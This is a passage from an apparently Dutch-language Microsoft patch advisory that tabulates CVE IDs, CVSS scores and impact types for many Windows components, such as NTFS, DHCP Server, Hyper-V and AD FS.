\n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42900 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49165 | 7.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49784 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50356 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DNS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49175 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49174 | 6.10 | Manipulatie van gegevens            | \n| CVE-2026-50295 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50465 | 7.10 | Manipulatie van gegevens            | \n| CVE-2026-50495 | 6.10 | Manipulatie van gegevens            | \n| CVE-2026-50487 | 8.10 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Data.dll: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50347 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Boot Loader: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58638 | 6.00 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows VMSwitch: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57092 | 9.90 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Access Connection Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50666 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Input Method Editor (IME): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58534 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Search Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50373 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50679 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Domain Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49164 | 8.10 | Uitvoeren van willekeurige code     | \n| CVE-2026-57976 | 6.50 | Denial-of-Service                   | \n| CVE-2026-49178 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50366 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Routing and Remote Access Service (RRAS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49791 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50451 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57096 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nRole: DNS Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49169 | 8.00 | Uitvoeren van willekeurige code     | \n| CVE-2026-50426 | 6.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows NTFS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58640 | 7.30 | Uitvoeren van willekeurige code     | \n| CVE-2026-49184 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-49789 | 7.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49797 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50308 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50412 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50386 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50309 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50313 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50341 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50388 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50448 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50471 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50422 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50402 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50461 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50417 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50482 | 7.30 | Uitvoeren van willekeurige code     | \n| CVE-2026-50494 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50667 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50668 | 6.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50672 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56175 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56182 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Overlay Filter: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54987 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50435 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50409 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Notification: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50337 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50334 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Backup Engine: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50406 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Image Acquisition: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50315 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Media Foundation: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54993 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58610 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56189 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57090 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57094 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57087 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Schannel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56186 | 8.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Network Address Translation (NAT): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56181 | 8.30 | Voordoen als andere gebruiker       | \n|----------------|------|-------------------------------------|\n\nCode Integrity DLL (ci.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50491 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows USB Hub Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50479 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48564 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50370 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50518 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50685 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-50683 | 8.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56159 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58627 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows App Installer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48572 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-48571 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50400 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Storage: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58526 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Virtual Filtering Platform (VFP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50432 | 5.30 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows HTTP.sys: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49787 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50420 | 6.20 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Wireless Networking: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58628 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DWM Core Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50437 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Storage Spaces Direct: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49168 | 6.20 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50299 | 6.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Codecs Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57083 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows GDI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50387 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows User Interface Core: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50454 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Internal Task Bar: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50293 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Ancillary Function Driver for WinSock: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34346 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50312 | 4.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50462 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57093 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Redirected Drive Buffering: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50372 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Message Queuing: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50447 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50505 | 7.50 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Application Model: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50331 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Certificate Services (AD CS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54121 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Spaceport.sys: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50333 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50298 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Devices Human Interface: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50310 | 4.70 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows USB Audio Class driver (usbaudio.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49794 | 4.60 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50453 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58528 | 6.80 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Group Policy: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50391 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Filtering Platform (WFP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50405 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Hyper-V: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54129 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54127 | 7.40 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50485 | 4.50 | Denial-of-Service                   | \n| CVE-2026-50680 | 8.20 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Federation Services (AD FS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54983 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50695 | 7.50 | Denial-of-Service                   | \n| CVE-2026-56155 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50304 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50368 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50324 | 5.90 | Denial-of-Service                   | \n| CVE-2026-50355 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50411 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50647 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50684 | 4.80 | Voordoen als andere gebruiker       | \n| CVE-2026-58529 | 7.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50476 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Projected File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50469 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows MIDI Service Module: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50342 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56183 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56187 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft NAT Helper Components (ipnathlp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58537 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Wireless Wide Area Network Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50450 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50509 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Narrator Braille: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58635 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows OLE: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50344 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50686 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows WebView: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56173 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Network File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56194 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56648 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56649 | 5.90 | Uitvoeren van willekeurige code     | \n| CVE-2026-56650 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Netlogon: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50500 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Speech: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49171 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Brokering File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49162 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50305 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50361 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50466 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50458 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Connected User Experiences and Telemetry: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50421 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Port Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42975 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nRemote Desktop Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54990 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50330 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50474 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50504 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows File Explorer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-33842 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-40422 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-41087 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50473 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50442 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50389 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50456 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57084 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Secure Boot: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49783 | 7.80 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Graphics Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50296 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50493 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Active Directory: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55001 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54119 | 7.50 | Denial-of-Service                   | \n| CVE-2026-54115 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50682 | 7.10 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Clipboard Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49183 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50689 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Kernel-Mode Drivers: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50393 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50396 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows FTP Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49172 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows USB Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50321 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SMB Server Network Transport Driver (srvnet.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57089 | 7.50 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows CryptoAPI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55144 | 7.10 | Manipulatie van gegevens            | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49181 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54128 | 8.40 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Operating Systems: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50335 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50317 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50418 | 5.10 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Web Proxy Auto-Discovery Protocol (WPAD): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49800 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50480 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nRPC Runtime: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50346 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Cryptographic Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44806 | 5.30 | Denial-of-Service                   | \n| CVE-2026-50302 | 4.20 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50352 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50681 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Client-Side Caching (CSC) Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58637 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server Backup: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50364 | 7.30 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nSQL Server ODBC driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42990 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Installer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50490 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58540 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DWM: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58541 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Key Guard: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50303 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50378 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Event Logging Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34348 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50502 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nExtensible Storage Engine (ESENT): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57088 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Container Isolation FS Filter Driver (unionfs.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50428 | 7.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows USB Print Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55000 | 6.40 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54111 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54991 | 7.80 | Verkrijgen van verhoogde rechten    | \n| 